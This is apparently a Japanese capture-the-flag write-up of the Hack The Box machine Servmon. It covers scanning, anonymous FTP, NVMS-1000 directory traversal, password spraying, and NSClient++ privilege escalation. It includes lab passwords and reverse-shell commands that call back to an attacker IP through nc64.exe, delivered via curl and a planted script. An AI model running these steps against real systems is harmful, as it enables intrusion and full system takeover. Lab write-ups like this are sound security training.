記事

HTB - Servmon

HTB - Servmon

今回はHack The BoxのRetired Machine(すでにポイントの対象外となった過去問)の1つである「Servmon」というマシンの攻略アプローチを紹介いたします。

Servmon Servmon Machine info card

マシン情報テーブル

Hack The BoxでServMonを攻略しよう!  
難易度 簡単
OS Windows
公開日 2020年04月12日
マシンの状態 引退

今回解くマシンは?

「Servmon」とは簡単な難易度のWindowsマシンはで、脆弱なバージョンのNVMS-1000を実行するウェブサイトが特徴でした。NVMS-1000に存在するディレクトリトラバーサル脆弱性を悪用してログインパスワードを取得します。マシンに侵入した後、設定ミスを利用してNSClient++アプリケーションのウェブアドミニストレータのパスワードを見つけ、それを使って権限昇格を行います。

攻略手順概要

攻略アプローチを考えるにあたり、ここではMITRE ATT&CKをガイドラインとして活用してみます。

MITRE ATT&CKに照らした攻略手順の概要は以下の通りです。

Enterprise tactics Technique Software / Tool
TA0007: Discovery T1046: Network Service Scanning nmap
TA0007: Discovery T1083: File and Directory Discovery ftp
TA0006: Credential Access T1110.003: Brute Force (Password Spraying) crackmapexec
TA0006: Credential Access T1552.001: Credentials in Files NSClient++
TA0004: Privilege Escalation T1068: Exploitation for Privilege Escalation NSClient++

TA0007: Discovery (Reconnaissance)

T1046: Network Service Scanning

いつものようにまず、nmapを使用して、全のTCPポートをスキャンを実行し、開いているポートを見つけていきます。

0hmsec@kali:-$ nmap -p- --min-rate 10000 10.10.10.184
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 10:50 IST Nmap scan report for 10.10.10.184 Host is up (0.038s latency). Not shown: 65518 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5666/tcp open nrpe 6063/tcp open x11 6699/tcp open napster 8443/tcp open https-alt 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49668/tcp open unknown 49669/tcp open unknown 49670/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 8.78 seconds

nmapの結果を見ると17ポートが開いていること(open)が確認できます。これから開いているTCPポートにサービスとバージョン検出スキャンを実行していきます。

0hmsec@kali:-$ nmap -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 -sC -sV 10.10.10.184 -oA nmap/tcp-scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 10:53 IST Nmap scan report for 10.10.10.184 Host is up (0.037s latency). PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_02-28-22 06:35PM <DIR> Users 22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0) | ssh-hostkey: | 3072 c7:1a:f6:81:ca:17:78:d0:27:db:cd:46:2a:09:2b:54 (RSA) | 256 3e:63:ef:3b:6e:3e:4a:90:f3:4c:02:e9:40:67:2e:42 (ECDSA) |_ 256 5a:48:c8:cd:39:78:21:29:ef:fb:ae:82:1d:03:ad:af (ED25519) 80/tcp open http |_http-title: Site doesn't have a title (text/html). | fingerprint-strings: | GetRequest, HTTPOptions, RTSPRequest: | HTTP/1.1 200 OK | Content-type: text/html | Content-Length: 340 | Connection: close | AuthInfo: | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> | <html xmlns="http://www.w3.org/1999/xhtml"> | <head> | <title></title> | <script type="text/javascript"> | window.location.href = "Pages/login.htm"; | </script> | </head> | <body> | </body> | </html> | NULL: | HTTP/1.1 408 Request Timeout | Content-type: text/html | Content-Length: 0 | Connection: close |_ AuthInfo: 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5666/tcp open tcpwrapped 6063/tcp open tcpwrapped 6699/tcp open tcpwrapped 8443/tcp open ssl/https-alt | ssl-cert: Subject: commonName=localhost | Not valid before: 2020-01-14T13:24:20 |_Not valid after: 2021-01-13T13:24:20 |_ssl-date: TLS randomness does not represent time | fingerprint-strings: | FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: | HTTP/1.1 404 | Content-Length: 18 | Document not found | GetRequest: | HTTP/1.1 302 | Content-Length: 0 | Location: /index.html | workers |_ jobs | http-title: NSClient++ |_Requested resource was /index.html 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ---[snip]--- Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb2-time: | date: 2025-02-06T05:09:12 |_ start_date: N/A |_clock-skew: -16m35s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 129.09 seconds
UDPポートスキャン

いつも言ってるようにUDPポートスキャンも忘れずに実行しておくことがおすすめです。UDPポートスキャンは時間がかかります。なので開いているTCPポートを調べる同時にUDPポートスキャンを実行することが良いです。このことが習慣になったらいつか役に立つんだと思います。

今回はnmapを使用して、全のUDPポートをスキャンを新しいターミナルで実行し、開いているポートを見つけていきます。忘れずにTCPポートを調べる同時にする練習をしてみてくださいね。

0hmsec@kali:-$ nmap -p- -sU --min-rate 10000 10.10.10.184

nmapの結果を見ると0ポートが開いていること確認できます。だからこそ、これ以上スキャンを続けません。

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 11:04 IST Warning: 10.10.10.184 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.10.184 Host is up (0.038s latency). All 65535 scanned ports on 10.10.10.184 are in ignored states. Not shown: 65462 open|filtered udp ports (no-response), 73 closed udp ports (port-unreach) Nmap done: 1 IP address (1 host up) scanned in 72.93 seconds

T1083: File and Directory Discovery

Windowsマシンを扱う場合、FTPやSMBのポートが開いていれば、必ず何か興味深いファイルがないか確認するようにしています。

FTP (TCP 21)

FTPのポートが開いているから、必ずanonymousログインが可能か確認すべきです。ユーザー名とパスワードのところで「anonymous」を使用できます。

0hmsec@kali:-$ ftp 10.10.10.184 Connected to 10.10.10.184. 220 Microsoft FTP Service Name (10.10.10.184:0hmsec): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> ls 229 Entering Extended Passive Mode (|||49680|) 150 Opening ASCII mode data connection. 02-28-22 06:35PM <DIR> Users 226 Transfer complete. ftp>

anonymousログイン成功!「Users」というディレクトリがシェアされています。これWindows OSにある「C:\Users」ディレクトリである可能性がありますのでもっと調べてみましょう。

ftp> cd Users 250 CWD command successful. ftp> ls 229 Entering Extended Passive Mode (|||49683|) 150 Opening ASCII mode data connection. 02-28-22 06:36PM <DIR> Nadine 02-28-22 06:37PM <DIR> Nathan 226 Transfer complete. ftp> cd Nadine 250 CWD command successful. ---[snip]--- ftp> get Confidential.txt local: Confidential.txt remote: Confidential.txt 229 Entering Extended Passive Mode (|||49686|) 125 Data connection already open; Transfer starting. 100% |****************************************************************************************************************| 168 4.45 KiB/s 00:00 ETA 226 Transfer complete. WARNING! 6 bare linefeeds received in ASCII mode. File may not have transferred correctly. 168 bytes received in 00:00 (4.43 KiB/s) ---[snip]--- ftp> cd Nathan 250 CWD command successful. ---[snip]--- ftp> get "Notes to do.txt" local: Notes to do.txt remote: Notes to do.txt 229 Entering Extended Passive Mode (|||49689|) 125 Data connection already open; Transfer starting. 100% |****************************************************************************************************************| 182 4.76 KiB/s 00:00 ETA 226 Transfer complete. WARNING! 4 bare linefeeds received in ASCII mode. File may not have transferred correctly. 182 bytes received in 00:00 (4.75 KiB/s)

調べてみるとこの2つの興味深いファイルを見つけました、

  1. Users/Nadine/Confidential.txt
  2. Users/Nathan/"Notes to do.txt"
ファイル-1: Confidential.txt

このファイルの内容を読んでみましょう。

0hmsec@kali:-$ cat Confidential.txt Nathan, I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder. Regards Nadine

「Nadine」というユーザーはあるファイルについて「Nathan」というユーザーにメッセージを書いていたそうです。メッセージから本ファイルの完全な場所を特定できます -

C:\Users\Nathan\Desktop\Passwords.txt

ファイル-2: “Noted to do.txt”
0hmsec@kali:-$ cat 'Notes to do.txt' 1) Change the password for NVMS - Complete 2) Lock down the NSClient Access - Complete 3) Upload the passwords 4) Remove public access to NVMS 5) Place the secret files in SharePoint

このファイルでNVMSNSClientという2つのアプリケーションの参考がありますので、メモしておいて引き続き列挙進めましょう。

SMB (TCP 139,445)

0hmsec@kali:-$ smbclient -N -L //10.10.10.184/ session setup failed: NT_STATUS_ACCESS_DENIED

anonymousログイン失敗!ですので他のポートを列挙して行きましょう。

ウェブサイト発見

80

http://10.10.10.184/ に行ってみると、NVMS-1000 が実行されていることがわかるし、http://10.10.10.184/Pages/login.htm にリダイレクトされます。

Website http://10.10.10.184/

グーグルで調べてみると、NVMS-1000に関連する脆弱性が見つかります。

CVE-2019-20085 CVE-2019-20085

T1083: File and Directory Discovery
CVE-2019-20085

CVE-2019-20085で見てみると、NVMS-1000でディレクトリトラバーサル脆弱性があることを理解できます。NVMS-1000とは、ネットワーク・ビデオ監視用に使うCMSソフトウェアです。

Kali linuxのsearchsploitで検索してみたら悪用コードを見つけました。見てみましょう。

0hmsec@kali:-$ searchsploit "nvms 1000" --------------------------------------------- --------------------------------- Exploit Title | Path --------------------------------------------- --------------------------------- NVMS 1000 - Directory Traversal | hardware/webapps/47774.txt TVT NVMS 1000 - Directory Traversal | hardware/webapps/48311.py --------------------------------------------- --------------------------------- Shellcodes: No Results 0hmsec@kali:-$ searchsploit -m 48311.py Exploit: TVT NVMS 1000 - Directory Traversal URL: https://www.exploit-db.com/exploits/48311 Path: /usr/share/exploitdb/exploits/hardware/webapps/48311.py Codes: CVE-2019-20085 Verified: False File Type: Unicode text, UTF-8 text Copied to: /home/0hmsec/hackthebox/machines/Windows/ServMon/48311.py
悪用-1: 悪用コード使用

見つけたPythonスクリプトをそのまま使用できます。

ですけれども、気になったらBashで書かれた私の悪用コードをチェックしてみてください。コードをわかりやすくするために、できるだけコメントを追加しておきました。

ここで私の悪用コードを利用して悪用していきます。

0hmsec@kali:-$ chmod +x cve-2019-20085-poc.sh 0hmsec@kali:-$ ./cve-2019-20085-poc.sh -u http://10.10.10.184/ -f Users/Nathan/Desktop/Passwords.txt Target URL: http://10.10.10.184/../../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt Directory Traversal Succeeded! Reading the file: Users/Nathan/Desktop/Passwords.txt. 1nsp3ctTh3Way2Mars! Th3r34r3To0M4nyTrait0r5! B3WithM30r4ga1n5tMe L1k3B1gBut7s@W0rk 0nly7h3y0unGWi11F0l10w IfH3s4b0Utg0t0H1sH0me Gr4etN3w5w17hMySk1Pa5$

この先FTPシェアで見つけた「Confidential.txt」に参考されていたUsers/Nathan/Desktop/Passwords.txtというファイルの内容を読めました。この「Passwords.txt」というファイルで可能性があるパスワードが含まれているようです。

悪用-1: Burp Suite使用

ディレクトリトラバーサルを実現するもう1つの方法を紹介していきます。それはBurp SuiteでGETリクエストを変更して送信します。

Burp Suite Burp Suite

8443

nmapの結果をで、ポート8443でNSClient++が実行されていることがわかります。先に進む前に、ポートも列挙してみましょう。

NSClient++ NSClient++ in Firefox

理由がはっきりわかりませんけれども、Firefoxでページ全体が読まれませんがGoogle Chromeでページ全体読まれます。

NSClient++ NSClient++ in Chrome

T1110.003: Brute Force (Password Spraying)

これまでの情報でユーザーとパスワードのリストを作成できます。

ユーザーネームのリスト

この先FTPシェアで見たら、「Nadine」と「Nathan」という2つのユーザーネームがわかります。これWindowsマシンなので「Administrator」という三つ目のユーザーネームを自信を持って追加できます。

これを「users.txt」というファイルに保存します。

Administrator Nadine Nathan

パスワードのリスト

「passwords.txt」というファイルに保存します。

1nsp3ctTh3Way2Mars! Th3r34r3To0M4nyTrait0r5! B3WithM30r4ga1n5tMe L1k3B1gBut7s@W0rk 0nly7h3y0unGWi11F0l10w IfH3s4b0Utg0t0H1sH0me Gr4etN3w5w17hMySk1Pa5$

ブルートフォース

Windowsペネトレーションテストに関して最も便利なツールの1つであるcrackmapexec を使用します。

0hmsec@kali:-$ crackmapexec smb 10.10.10.184 -u users.txt -p passwords.txt --continue-on-success SMB 10.10.10.184 445 SERVMON [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False) SMB 10.10.10.184 445 SERVMON [-] ServMon\Administrator:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Administrator:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Administrator:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Administrator:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Administrator:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Administrator:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Administrator:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Nadine:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Nadine:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Nadine:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [+] ServMon\Nadine:L1k3B1gBut7s@W0rk SMB 10.10.10.184 445 SERVMON [-] ServMon\Nadine:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Nadine:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Nadine:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Nathan:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Nathan:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Nathan:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Nathan:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Nathan:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Nathan:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] ServMon\Nathan:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE

crackmapexecでブルートフォースを実行する場合は、--continue-on-successを忘れずに使用してください。複数のユーザーが同じパスワードを使用している可能性がありますからです。リストの最後までもブルートフォースを継続できます。

見つけた資格情報

crackmapexecの結果で正しい資格情報はNadine:L1k3B1gBut7s@W0rkです。

Shell as Nadine

SSHのポートが開いているので見つけた資格情報を使用してロッグインできます。

0hmsec@kali:-$ ssh Nadine@10.10.10.184 The authenticity of host '10.10.10.184 (10.10.10.184)' can't be established. ED25519 key fingerprint is SHA256:WctzSeuXs6dqa7LqHkfVZ38Pppc/KRlSmEvNtPlwSoQ. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.184' (ED25519) to the list of known hosts. Nadine@10.10.10.184's password: Microsoft Windows [Version 10.0.17763.864] (c) 2018 Microsoft Corporation. All rights reserved. nadine@SERVMON C:\Users\Nadine>

USER flag

nadine@SERVMON C:\Users\Nadine\Desktop>type user.txt 27f0f2ee608...................

とうとうuser.txtフラッグを見つかりましたね。万歳!おめでとうー


TA0004: Privilege Escalation

以前、FTPのファイル「Notes to do.txt」とポート 8443 で実行されているサービスから、NSClient++ について知りました。

nadine@SERVMON c:\Program Files>dir Volume in drive C has no label. Volume Serial Number is 20C1-47A1 Directory of c:\Program Files 02/28/2022 06:55 PM <DIR> . 02/28/2022 06:55 PM <DIR> .. 03/01/2022 01:20 AM <DIR> Common Files 11/11/2019 06:52 PM <DIR> internet explorer 02/28/2022 06:07 PM <DIR> MSBuild 02/28/2022 06:55 PM <DIR> NSClient++ 02/28/2022 06:46 PM <DIR> NVMS-1000 02/28/2022 06:32 PM <DIR> OpenSSH-Win64 ---[snip]---

それでNSClient++がインストールされていることが確認できます。NSClient++とは、Windows 用の監視エージェントであり、Nagios などの監視ツールと統合してシステムのパフォーマンスやサービスを監視します。

「NSClient++」フォルダ内にnscp.exeという実行可能ファイルがあります。これを実行してみましょう。

nadine@SERVMON c:\Program Files\NSClient++>nscp.exe --help Allowed options: ---[snip]--- Common options: --help Show the help message for a given command --no-stderr Do not report errors on stderr --version Show version information ---[snip]---

--version オプションを使用して、インストールされているバージョン情報を確認できます。

nadine@SERVMON c:\Program Files\NSClient++>nscp.exe --version NSClient++, Version: 0.5.2.35 2018-01-28, Platform: x64

「searchsploit」では、「NSClient++ 0.5.2.35」に対する2つの悪用への参照が見つかりました。

searchsploit "NSClient++" ----------------------------------------------------------- --------------------------------- Exploit Title | Path ----------------------------------------------------------- --------------------------------- NSClient++ 0.5.2.35 - Authenticated Remote Code Execution | json/webapps/48360.txt NSClient++ 0.5.2.35 - Privilege Escalation | windows/local/46802.txt ----------------------------------------------------------- --------------------------------- Shellcodes: No Results

権限昇格の悪用ですから、46802をみてみましょう。このexploit-dbページにも同じ悪用があります。

このexploit-dbページによると、「46802」が動作するための前提条件は以下の通りです:

  1. システムへのローカルアクセスが必要 - 満たしています。
  2. NSClient++が動作し、ウェブサーバーが有効になっていることです - 次のセクションで確認方法を説明いたします。

T1552.001: Credentials in Files

ステップ-1:

このページに書いている一番最初のステップはWeb Administratorのパスワードを見つけることです。これは、ウェブサーバーが有効かどうかを確認する方法にもなります。ウェブサーバーが有効の場合は、保存されている平文のパスワードを見つけることができます。

グーグルで調べるとNSCient++の設定を確認する方法が3つあることを分かりました。

コマンド-1:

この悪用のページで書いていました。

nadine@SERVMON c:\Program Files\NSClient++>nscp web -- password --display Current password: ew2x6SsGTxjRwXOT

Web Administratorのパスワードを見つけました。これはWebサーバーが有効されていることを証明しています。ですから、前提条件2は満たされました。

コマンド-2:
nadine@SERVMON c:\Program Files\NSClient++>nscp settings --show INI settings: (ini://${shared-path}/nsclient.ini, c:\Program Files\NSClient++/nsclient.ini)

このコマンドはNSClient++の設定のファイルが存在する場所を表示します。あのファイルを開いて設定を見ます。これも証明になります。

nadine@SERVMON c:\Program Files\NSClient++>type "c:\Program Files\NSClient++\nsclient.ini" # If you want to fill this file with all available options run the following command: # nscp settings --generate --add-defaults --load-all # If you want to activate a module and bring in all its options use: # nscp settings --activate-module <MODULE NAME> --add-defaults # For details run: nscp settings --help ; in flight - TODO [/settings/default] ; Undocumented key password = ew2x6SsGTxjRwXOT ; Undocumented key allowed hosts = 127.0.0.1 ---[snip]---
コマンド-3:

このコマンドはデフォルトではないすべての設定を表示します。これも証明になります。

nadine@SERVMON c:\Program Files\NSClient++>nscp settings --list ---[snip]--- /settings/NRPE/server.verify mode=peer-cert /settings/default.allowed hosts=127.0.0.1 /settings/default.password=ew2x6SsGTxjRwXOT /settings/external scripts/wrappings.bat=scripts\\%SCRIPT% %ARGS% ---[snip]---

T1068: Exploitation for Privilege Escalation

NSClient++ 悪用

権限昇格方法は2つあります。

悪用-1:
ステップ-2:

次のステップは、ログインしてアプリケーションの特定のモジュールを有効することです。今までの情報で2つのことがわかります。

NSClient++ Config NSClient++’s Configuration

  1. パスワード - ew2x6SsGTxjRwXOT
  2. 127.0.0.1 からのみアクセスできます。

ですので、最も当たり前の方法はNadineの認証情報使用してSSHでローカルポートフォワードを作成し、それでNSClient++にログインすることです。

0hmsec@kali:-$ ssh -L 8443:127.0.0.1:8443 Nadine@10.10.10.184 Nadine@10.10.10.184's password: Microsoft Windows [Version 10.0.17763.864] (c) 2018 Microsoft Corporation. All rights reserved. nadine@SERVMON C:\Users\Nadine>

今自分のモシンからNSClient++をhttp://127.0.0.1:8443でアクセスできて、Web Administratorのアカウントにロッグインできます。

NSClient++ Interface NSClient++’s Interface

以下のスクショで特定のモジュールがもう有効されていることをわかります。

  1. CheckExternalScripts
  2. Scheduler

CheckExternalScripts CheckExternalScripts is enabled

Scheduler Scheduler is enabled

ステップ-3:

被害者のマシンに 2 つのファイルが存在する必要があります。

  1. nc64.exe - このgithubページからダウンロードできます。
  2. rev.bat - このファイルに好きな名前を付けても問題なしです。以下のようなリバースシェルコードを入れておいてください。
0hmsec@kali:-$ cat rev.bat c:\temp\nc64.exe 10.10.14.15 81 -e cmd.exe

被害者マシンで「C:\」でtempというディレクトリを作成して、この2つのファイルをダウンロードして行きましょう。

まずは、攻撃マシンからPythonサーバー使用してファイルを配信しましょう。

0hmsec@kali:-$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.10.184 - - [07/Feb/2025 17:19:15] "GET /nc64.exe HTTP/1.1" 200 - 10.10.10.184 - - [07/Feb/2025 17:19:20] "GET /rev.bat HTTP/1.1" 200 -

それからダウンロードします。

nadine@SERVMON c:\temp>curl http://10.10.14.15/nc64.exe -o nc64.exe % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 45272 100 45272 0 0 45272 0 0:00:01 --:--:-- 0:00:01 281k nadine@SERVMON c:\temp>curl http://10.10.14.15/rev.bat -o rev.bat % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 42 100 42 0 0 42 0 0:00:01 --:--:-- 0:00:01 538

後、「netcat」リスナーも実行しておきましょう。

nc -nvlp 81 listening on [any] 81 ... whoami

私はいつもシンプルなコマンドを入力し、Enterキーを押しておきます。プロンプトが表示されない場合もあります。そのため、リバースシェル接続が成功すると、入力したコマンドが自動的に実行され、出力が表示されます。

ステップ-4:

次に「external script」を作成します。Settings -> external scripts -> scriptsに行って「Add new」ボタンを押します。

Add script Add an external script

以下のスクショのように書きます。

Add script Add an external script

次に「Scheduled task」を作成します。Settings -> scheduler -> schedulesに行って「Add new」ボタンを押します。以下のスクショのように書きます。

Add scheduled task Add a scheduled task

以下のスクショのように同じTaskにもう1つの「key」と「value」を追加します。

Add scheduled task Add a scheduled task

「Changes -> save configuration」と「Control -> Reload」を押します。

Reload Reloading the application

これが最も大変な部分です。Restartまでは非常に時間がかかりますが、最終的にはリバースシェルを取得できるはずです。

Restart後でもシェルが取得できない場合は、Queriesに移動し、設定したタスク名(私の場合は「0hmsec」)を選択して、「Run → run」を実行してください。これでリバースシェルが得られるはずです。

悪用-2:

この方法は、APIコールを悪用するものです。一旦SSHローカルポートフォワードのところに戻って、そこから続けてみましょう。

0hmsec@kali:-$ curl -k -u admin https://localhost:8443/api/v1 | jq . Enter host password for user 'admin': % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 259 100 259 0 0 1692 0 --:--:-- --:--:-- --:--:-- 1692 { "info_url": "https://localhost:8443/api/v1/info", "logs_url": "https://localhost:8443/api/v1/logs", "modules_url": "https://localhost:8443/api/v1/modules", "queries_url": "https://localhost:8443/api/v1/queries", "scripts_url": "https://localhost:8443/api/v1/scripts" }

この前の使用してたnc64.exeC:\tempに存在するべきです。どうぞダウンロードしてください。

後はC:\Program Files\NSClient++\Scriptsで新しい「batファイル」を以下に紹介されているAPIコールを使用して作成します。「batファイル」の名前を好きにしてください。私の場合は、0hmsec.batと作成します。

0hmsec@kali:-$ curl -s -k -u admin -X PUT https://127.0.0.1:8443/api/v1/scripts/ext/scripts/0hmsec.bat --data-binary "C:\temp\nc64.exe 10.10.14.15 81 -e cmd.exe" Enter host password for user 'admin': Added 0hmsec as scripts\0hmsec.bat

被害者マシンで正しく作成できているかを確認できます。

nadine@SERVMON c:\Program Files\NSClient++\scripts>dir Volume in drive C has no label. Volume Serial Number is 20C1-47A1 Directory of c:\Program Files\NSClient++\scripts 02/07/2025 04:52 AM <DIR> . 02/07/2025 04:52 AM <DIR> .. 02/07/2025 04:52 AM 42 0hmsec.bat 11/05/2017 10:11 PM 80 check_60s.bat ---[snip]---

最後に、以下のAPIコールを使用してスクリプトを実行します。スクリプトの名前を作成した名前に変更することを忘れないでくださいね。

curl -s -k -u admin https://127.0.0.1:8443/api/v1/queries/0hmsec/commands/execute?time=10s Enter host password for user 'admin':

Shell as NT AUTHORITY\SYSTEM

0hmsec@kali:-$ nc -nvlp 81 listening on [any] 81 ... whoami connect to [10.10.14.15] from (UNKNOWN) [10.10.10.184] 50021 Microsoft Windows [Version 10.0.17763.864] (c) 2018 Microsoft Corporation. All rights reserved. C:\Program Files\NSClient++>whoami nt authority\system

ROOT flag

とうとうroot.txtフラッグも見つかりましたね。

いつも申し上げてるように、もしOSCP+試験を受ける方なら、フラッグ見つかった証明スクショを撮るときにはtype root.txtwhoamiipconfig、この3つのコマンドの結果が写っていなければなりません。以下の例みたいに撮ってください。OSCP+試験には”root.txt”は”proof.txt”になりますから気をつけてくださいね。

c:\Users\Administrator\Desktop>type root.txt type root.txt 1a46c75407df1................. c:\Users\Administrator\Desktop>whoami whoami nt authority\system c:\Users\Administrator\Desktop>ipconfig ipconfig Windows IP Configuration Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : IPv6 Address. . . . . . . . . . . : dead:beef::ccff:e7f6:ddc9:24e9 Link-local IPv6 Address . . . . . : fe80::ccff:e7f6:ddc9:24e9%6 IPv4 Address. . . . . . . . . . . : 10.10.10.184 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:9106%6 10.10.10.2

万歳!万歳!万歳!

この投稿は著者によって CC BY 4.0 ライセンスで提供されています。